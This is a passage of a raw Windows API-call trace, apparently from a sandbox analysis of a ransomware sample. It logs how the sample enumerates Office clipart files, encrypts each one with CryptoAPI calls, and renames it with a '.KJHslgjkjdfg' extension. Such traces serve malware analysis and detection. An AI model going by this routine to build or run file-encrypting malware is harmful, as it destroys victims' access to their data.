nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.194] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.195] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.195] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.195] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.195] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.195] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.195] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.195] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.195] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x203c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x203c, lpOverlapped=0x0) returned 1 [0172.196] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2040, dwBufLen=0x2040 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2040) returned 1 [0172.196] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.196] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2040, lpOverlapped=0x0) returned 1 [0172.196] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.197] SetEndOfFile (hFile=0x114) returned 1 [0172.199] GetProcessHeap () returned 0x2a0000 [0172.199] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.199] GetProcessHeap () returned 0x2a0000 [0172.199] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.kjhslgjkjdfg")) returned 1 [0172.200] CloseHandle (hObject=0x114) returned 1 [0172.201] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1 [0172.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.201] GetProcessHeap () returned 0x2a0000 [0172.201] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.201] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.201] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.202] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.202] GetProcessHeap () returned 0x2a0000 [0172.202] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.202] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.202] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.202] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.207] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.207] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.207] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.208] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.208] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.208] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.208] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1350, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1350, lpOverlapped=0x0) returned 1 [0172.209] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1350, dwBufLen=0x1350 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1350) returned 1 [0172.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.209] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1350, lpOverlapped=0x0) returned 1 [0172.209] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.209] SetEndOfFile (hFile=0x114) returned 1 [0172.212] GetProcessHeap () returned 0x2a0000 [0172.212] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.212] GetProcessHeap () returned 0x2a0000 [0172.212] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.kjhslgjkjdfg")) returned 1 [0172.213] CloseHandle (hObject=0x114) returned 1 [0172.213] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1 [0172.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.214] GetProcessHeap () returned 0x2a0000 [0172.214] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.214] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.214] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.216] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.216] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.216] GetProcessHeap () returned 0x2a0000 [0172.217] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.217] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.217] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.217] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.217] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.217] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.217] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.217] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.217] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.217] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.217] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b04, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2b04, lpOverlapped=0x0) returned 1 [0172.219] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b10) returned 1 [0172.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.219] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b10, lpOverlapped=0x0) returned 1 [0172.219] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.219] SetEndOfFile (hFile=0x114) returned 1 [0172.222] GetProcessHeap () returned 0x2a0000 [0172.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.222] GetProcessHeap () returned 0x2a0000 [0172.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.kjhslgjkjdfg")) returned 1 [0172.223] CloseHandle (hObject=0x114) returned 1 [0172.223] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1 [0172.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.225] GetProcessHeap () returned 0x2a0000 [0172.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.225] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.225] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.225] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.225] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.225] GetProcessHeap () returned 0x2a0000 [0172.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.225] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.225] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.225] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.227] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.228] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.228] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.228] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.228] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.228] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd00, lpOverlapped=0x0) returned 1 [0172.228] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd00, dwBufLen=0xd00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd00) returned 1 [0172.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.228] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd00, lpOverlapped=0x0) returned 1 [0172.228] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.229] SetEndOfFile (hFile=0x114) returned 1 [0172.231] GetProcessHeap () returned 0x2a0000 [0172.231] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.231] GetProcessHeap () returned 0x2a0000 [0172.231] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.kjhslgjkjdfg")) returned 1 [0172.233] CloseHandle (hObject=0x114) returned 1 [0172.233] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1 [0172.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.233] GetProcessHeap () returned 0x2a0000 [0172.233] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.233] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.234] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.236] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.236] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.236] GetProcessHeap () returned 0x2a0000 [0172.236] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.236] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.236] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.236] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.236] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.236] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.236] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.237] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.237] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.237] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.237] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4fdc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 